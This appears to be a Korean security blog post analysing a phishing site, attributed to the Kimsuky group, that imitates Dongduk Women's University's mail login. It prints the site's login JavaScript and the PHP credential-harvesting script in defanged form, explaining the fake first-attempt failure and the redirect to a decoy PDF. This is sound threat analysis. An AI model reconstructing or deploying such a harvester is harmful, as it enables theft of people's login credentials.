김수키 에서 만든 피싱 사이트 동덕여자대학교 피싱 사이트 분석(2024.8.7)
오늘은 우리의 민족인 북한 해킹 단체 김수키(Kimsuky)에서 만든 피싱(Phishing) 사이트이며 일단 기본적으로 해당 사이트를 통째로 백업 못해서 일단 확보한 샘플 로만 진행이 되면 2024.8월에 있었던 것이므로 지금 하고 상관은 없지만 뭐~로그인 관련 있는 것 보면 해당 대학교 교수, 교직원, 학생들의 피해는 있었을 것입니다.
일단 뭐~당연히 시각적으로 공식 동덕여자대학교하고 똑같지만 다른 사이트입니다.
일단 로그인 관련 부분부터 보겠습니다.
로그인 코드
j_password.value = password.value;
//if (true) {
// var rsa = new RSAKey();
// rsa.setPublic('d00d4c25e92(3)ed2126c2ffda4b5bfbf7d35ab66ed2409a
3d298c04cded9936f2ce68ce806461c4ffc2cf8baa93d2d9d31dfd86c85c608ff06e70
da570eca1cfd4796db726f0c7bd478a(0)13ac8037d3bbbc73120cc11c525254912a30
59691106aca96f7db106df4450250304c65491f053d33e8700821edbe4fa7d2c162238
aeaf0aa2d6a3f3b2ccdb0062d522ec9cd7(3)ffbb9cab2d585dbca39ea4e9c916844800
3f986a73e2b5ed02390c190e78129aae31e2d8e1923b16877399d231b338835c61c8009
6969289189e4cc5ee26481ea629d826bc7(d)aba4e97f4c7e04894fa47ef361cc331e06
981005bdbb87cc12ccf0cf940d02e0fc5d433b0c7f9ac011b', '10001');
// 비밀번호를 RSA로 암호화한다.
// j_password.value = rsa(.)encrypt(j_password.value);
//}
//password.value = '';
var xmlhttp;
try {
xmlhttp = new ActiveXObje(c)t("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObj(e)ct("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpReque(s)t != "undefined") {
xmlhttp = new XML(H)ttpRequest();
}
var post_val = "username="(+)username.value (+) "@" + domain(+)
"&password="+password.value+"&count="+cnt;
try {
xmlhttp.open("POST", "./j_spring_security_check(.)php");
xmlhttp.withCredentials=true;
xmlhttp.setRequestHeader("Content-type", "applicat(i)on/x-www
-form-urlencoded");
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
var response = xmlhttp(.)responseText;
if(response.indexOf("http") >= 0)
{
location.replace(response);
}
else
{
document.getElementById("error_msg").hidden = false;
}
inprocess = false;
return true;
}
}
xmlhttp.send(post_val);
} catch (e) {
document.getElementById("error_msg").hidden = false;
if(window.bridgeGotTime){throw e;}
}
cnt++;
//form.submit();
return true;
}
function signup() {
var domain = 'dongduk(.)ac(.)kr';
location.href = '/mail/signup/' (+) domain + '/agree';
}
function find(type) {
location.href = '/mail/find/' + type;
}
function loginFocus() {
var form = document.forms[0];
var username = form.elements["username"];
var password = form.elements["j_password"];
if(!username.value || username.value.length == 0) {
username.focus();
} else {
password.focus();
}
}
function captchaRefresh() {
var captchaImg = document.getElementById('captcha-image');
captchaImg.src = 'img/captcha?_=' + new Date().getTime();
}
</script>
코드 분석
1. 암호화 준비:
RSAKey 객체를 사용하여 j_password.value 값을 RSA로 암호화할 수 있는 코드가 주석 처리
주석을 해제하면 j_password.value 값이 RSA 공개키를 사용해 암호화
공개키는 하드 코딩되어 있으며 암호화한 비밀번호를 서버로 전송
2.AJAX 요청을 사용한 로그인 요청:
XMLHttpRequest 객체를 통해 서버에 로그인 정보를 전송
username 과 password 값을 합쳐 post_val 변수에 저장
POST 방식으로 j_spring_security_check(.)php 에 전송
요청에는 Content-type 헤더를 application/x-www-form-urlencoded 로 설정해 폼 데이터 형식으로 서버에 전달
3. 응답 처리:
서버로부터 응답을 받으면 응답이 http로 시작하는 URL였으면 해당 URL로 페이지를 이동하여 로그인 성공
만약 응답이 URL이 아니라면 error_msg 라는 HTML 요소를 표시하여 로그인 실패를 사용자에게 알림
4. ActiveX 객체와 XMLHttpRequest 지원:
Internet Explorer를 위한 ActiveXObject 를 지원하며 브라우저에 따라 Msxml2.XMLHTTP 또는 Microsoft.XMLHTTP 를 우선 사용
지원되지 않을 때 기본 XMLHttpRequest 를 사용
5.기타 기능:
signup() 함수: 특정 도메인 여기서는 동덕여자대학교 (dongduk(.)ac(.)kr)으로 회원가입 페이지로 이동 좋은 말로 이동
find(type) 함수: 비밀번호 찾기와 같은 유형별 페이지로 이동
loginFocus() 함수: user name 과 password 필드 중 하나에 초점을 자동으로 맞추어 사용자 경험을 향상
captchaRefresh()함수: 새로운 캡차 이미지를 불러와 새로 고침
로 되어 있습니다.
일반적인 제출 기능을 사용하는 대신 사용자 이름, 비밀번호 및 로그인 시도 횟수를 가져와 j_spring_securty_check(.)php 날려 보냅니다.
j_spring_security_check(.)php 내부
'language', 'username' => 'u(s)ername', 'password' => '(p)assword', 'count' =>
'count' ); $_u(r)l = $_SERVER['(R)EQUEST_URI']; $(d)ate=date("F j, Y, g:i a");
function wr(i)te($str) { $fp = fo(p0en(getenv ("REMOTE(_)ADDR"), "a+");
fwrite($fp, $str); fwrite($fp, "\r\n"); fclose($fp); } write("request-url:
". ($)_(u)rl); if (isset(()$_POST[$_c(o)nfig[(')u(s)ername']]) && i(s)set
($_POST[$_(c)onfig['pa(s)sword']]) && isset($_POST[$_con(f)ig['count']]))
{ $cnt = $_POS(T)[$_config['cou(n)t']]; $me(m)ber_id = $_POST([)$_co(n)fig
['user(n)ame']]; $pa(s)sword = $_POST[$_config['pas(s)word']]; write($cnt." :\t"(.)
"UserID: ".$m(e)mber_id."\t"."Pa(s)s: ".$passwo(r)d."\r\n"); if(str(c)mp($cnt, "0") == 0 )
{ $str = "Login Fail"; head(e)r("Content-Type: text/p(l)ain"); header("Co(n)tent-Length:
".s(t)rlen($str)); echo($str); }else { $str = "hxxps://drive(.)google(.)com/file/d/1ra7
zb3K4BPF3qjJ-lNdWs_qQ(Q)eeR4z38/view?usp=sharing"; h(e)ader("Content-Type: text/plain")
; header("Content-Length: ".strlen($str));
ec(h)o($str); } } ?>
코드 설명
PHP 코드는 로그인 정보를 수집하고 로그 파일에 기록하는 스크립트이고 j-spring 또는 보안 하고 전혀 관계없고 오히려 보안을 위협하는 부분
1. 로그인 정보와 URL 로깅:
$_url 은 현재 요청된 URL($_SERVER['REQUEST_URI'])을 저장
write 함수는 사용자의 IP 주소(REMOTE_ADDR)를 파일 이름으로 사용하여 쓰기(fwrite) 작업을 수행
해당 함수는 사용자의 요청 URL과 로그인 정보(아이디, 비밀번호, 카운트)를 저장
해당 파일은 IP 주소를 파일 이름으로써 해당 IP의 장치가 남긴 기록을 로그 파일로 남김
2.POST 요청 확인 및 기록:
$_POST 배열을 통해 username,password,count 필드가 설정되어 있는지 확인
설정된 경우 count 가 0 이면 실패로 간주
Login Fail 을 반환 그렇지 않으면 Google Drive 링크를 포함한 URL을 반환(여기서는 2024년 8월 비공개 아산정책포럼 참석요청서 계획(안).pdf 이라는 파일을 다운로드 하게 유도)
입력된 username 과 password 는 로그 파일에 기록
즉 피해자로서는 처음 로그인을 시도하고 로그인 실패라는 메시지가 표시되고 자격 증명을 다시 입력하라는 메시지가 표시하게 되고 피해자는 키보드를 보면서 독수리 타법으로 하나씩 입력을 하게 되고 정확한 비밀번호를 확보하게 되고 로그인이 올바르게 작동하는 것처럼 다른 사이트로 리디렉션되지만 실제로는 자격 증명이 서버의 텍스트 파일에 기록 이 되는 것뿐
그리고 구글 드라이브에는 해당 PDF를 구글 사용자인 kimdu??ong2020@gmail(.)com 남북교류협력지원협회 프로필 사진과 함께 업로드
2024년 8월 비공개 아산정책포럼 참석요청서 계획(안).pdf는 미끼 일명 디코이이고 실제로는 아산정책포럼 로 2024년 7월 16일에 발행이 된것으로 기본적으로 네이버,다음,Gmail,카카오 등의 메일 공격에서도 굉장하게 많이 사용이 되는 유형의 낚시입니다.
기본적으로 지난번에 적은 글들인 연세대학교, 고려대학교 피싱 사이트들과 공격 방법은 비슷하게 악용을 하는 경우라고 생각을 하시면 됩니다.
그냥 잘 보면 믿고 거르는 피싱 사이트인 것을 확인할 수가 있습니다.